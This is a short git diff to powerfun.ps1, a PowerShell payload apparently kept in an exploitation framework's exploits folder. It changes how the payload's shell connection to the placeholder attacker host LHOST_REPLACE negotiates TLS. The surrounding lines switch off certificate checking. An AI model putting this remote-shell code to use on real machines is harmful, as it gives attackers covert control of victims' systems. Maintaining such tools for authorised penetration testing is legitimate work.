diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index 4589595332..841cf62ad9 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -30,7 +30,7 @@ function powerfun if ($Sslcon -eq "true") { $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) - $sslStream.AuthenticateAsClient("LHOST_REPLACE") + $sslStream.AuthenticateAsClient("LHOST_REPLACE",$null,"tls12",$false) $stream = $sslStream }